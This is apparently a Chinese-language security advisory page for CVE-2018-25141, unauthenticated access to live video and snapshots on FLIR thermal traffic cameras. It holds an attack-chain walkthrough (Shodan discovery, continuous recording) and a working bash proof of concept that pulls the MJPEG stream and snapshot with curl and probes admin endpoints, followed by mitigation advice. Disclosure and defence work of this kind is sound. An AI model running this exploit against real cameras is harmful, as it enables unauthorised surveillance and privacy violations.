IPBUF安全漏洞报告
English
CVE-2018-25141 CVSS 7.5 高危

CVE-2018-25141 FLIR热成像交通摄像头未授权视频流访问漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25141
漏洞类型
未授权访问/认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR thermal traffic cameras

相关标签

未授权访问认证绕过视频监控安全物联网安全FLIR热成像摄像头MJPEGRTSPCVE-2018-25141高危漏洞

漏洞概述

CVE-2018-25141是FLIR Systems公司生产的热成像交通摄像头中存在的一个高危安全漏洞。该漏洞允许远程攻击者在无需任何身份认证的情况下,访问设备上的实时视频流和快照图像。FLIR热成像交通摄像头广泛应用于智能交通系统、城市监控和道路安全管理领域,用于实时监测和记录交通流量、车辆识别以及道路状况。

此漏洞的严重性在于其无需认证即可利用的特性。攻击者只需知道目标摄像头的IP地址或域名,即可通过HTTP协议直接访问特定的端点来获取视频流或图像数据。受影响的端点包括/live.mjpeg用于获取实时MJPEG视频流、/snapshot.jpg用于获取静态快照图像,以及RTSP流URL用于获取实时视频流。

该漏洞可能导致以下安全风险:1) 未经授权的视频流访问可能泄露敏感交通信息和人员活动情况;2) 攻击者可利用获取的视频数据进行进一步的攻击或情报收集;3) 隐私泄露风险,特别是当摄像头覆盖敏感区域时;4) 可能被用于有针对性的监视活动。

CVSS 3.1评分7.5分(高危),其中网络攻击向量(AV:N)、低攻击复杂度(AC:L)、无需权限(PR:N)、无需用户交互(UI:N),对机密性影响为高(C:H),完整性和可用性无影响。该评分反映了漏洞的高危性质和广泛的潜在影响范围。

技术细节

FLIR热成像交通摄像头的未授权访问漏洞源于设备对视频流端点的认证机制缺失。在正常的系统设计中,视频流访问应该需要有效的会话认证或凭证验证。然而,受影响的摄像头固件在实现视频流端点时,未正确实施访问控制检查,导致任何HTTP请求都可以直接访问这些端点。

漏洞利用涉及以下技术细节:

1. MJPEG视频流端点:攻击者可以通过HTTP GET请求访问/live.mjpeg端点,设备将直接返回MJPEG格式的实时视频流,无需任何认证头或Cookie验证。

2. 快照图像端点:/snapshot.jpg端点返回当前摄像头捕获的JPEG格式静态图像,同样无需认证。

3. RTSP流访问:设备还支持RTSP协议进行视频流传输,攻击者可以直接使用RTSP URL(如rtsp://target_ip/stream)连接实时视频流。

4. 固件分析显示,设备Web服务器的路由配置中,视频流相关端点被错误地配置为公开访问,而其他管理功能则需要认证。

5. 攻击者可以使用标准工具如curl、Wget或VLC播放器直接获取视频流数据。

此漏洞影响设备的机密性,攻击者可获取实时监控画面,但不影响系统完整性和可用性。

攻击链分析

STEP 1
步骤1
信息收集:攻击者通过 Shodan、Censys 等搜索引擎或网络扫描发现暴露在互联网上的 FLIR 热成像交通摄像头设备,获取目标 IP 地址
STEP 2
步骤2
目标识别:攻击者访问设备 Web 界面,确认为 FLIR 品牌设备,并识别设备型号和固件版本信息
STEP 3
步骤3
漏洞探测:攻击者尝试访问未认证端点如 /live.mjpeg、/snapshot.jpg,验证漏洞是否存在
STEP 4
步骤4
视频流获取:攻击者使用 curl、Wget 或 VLC 播放器直接连接 /live.mjpeg 端点,无需任何认证凭证即可获取实时 MJPEG 视频流
STEP 5
步骤5
数据窃取:攻击者持续录制或定期抓取视频流和快照图像,获取敏感交通监控数据和监控画面
STEP 6
步骤6
横向移动(可选):攻击者利用获取的监控信息规划进一步攻击,或尝试利用其他已知漏洞获取设备完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2018-25141 PoC - FLIR Thermal Traffic Camera Unauthenticated Video Access # Usage: ./exploit.sh <target_ip> TARGET=$1 PORT=80 if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] Testing CVE-2018-25141 on target: $TARGET" echo "[*] Target: FLIR Thermal Traffic Camera" # Test 1: Access MJPEG live stream echo "[+] Test 1: Attempting to access live.mjpeg stream..." curl -s -o /tmp/live_test.mjpeg -w "%{http_code}" "http://$TARGET/live.mjpeg" --max-time 10 if [ -s /tmp/live_test.mjpeg ]; then echo "[SUCCESS] MJPEG stream accessible without authentication!" echo "[INFO] Stream saved to /tmp/live_test.mjpeg" else echo "[FAILED] MJPEG stream not accessible" fi # Test 2: Access snapshot image echo "[+] Test 2: Attempting to access snapshot.jpg..." SNAPSHOT_CODE=$(curl -s -o /tmp/snapshot_test.jpg -w "%{http_code}" "http://$TARGET/snapshot.jpg" --max-time 10) echo "[Response Code: $SNAPSHOT_CODE]" if [ -s /tmp/snapshot_test.jpg ]; then echo "[SUCCESS] Snapshot image accessible without authentication!" file /tmp/snapshot_test.jpg else echo "[FAILED] Snapshot not accessible" fi # Test 3: Check RTSP stream availability echo "[+] Test 3: Checking RTSP stream availability..." echo "[INFO] Try connecting with VLC: rtsp://$TARGET/stream" echo "[INFO] Or use ffplay: ffplay rtsp://$TARGET/stream" # Test 4: Enumerate other potentially accessible endpoints echo "[+] Test 4: Enumerating other endpoints..." ENDPOINTS=("/" "/admin" "/api" "/config" "/status") for endpoint in "${ENDPOINTS[@]}"; do CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET$endpoint" --max-time 5) echo " $endpoint -> HTTP $CODE" done echo "" echo "[*] Exploitation complete" echo "[!] Note: This PoC is for authorized security testing only"

影响范围

FLIR Thermal Traffic Cameras (firmware versions prior to latest patch)

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1) 通过网络访问控制列表(ACL)限制对摄像头 Web 端口(80/443)和 RTSP 端口(554)的访问,仅允许受信任的 IP 地址段访问;2) 将摄像头部署在独立的 VLAN 中,与业务网络隔离;3) 启用网络层防火墙规则,阻止来自互联网的直接访问;4) 监控网络流量日志,及时发现异常的 MJPEG 流访问请求;5) 考虑使用反向代理或 VPN 解决方案来控制访问;6) 定期检查设备日志,查找未授权访问痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表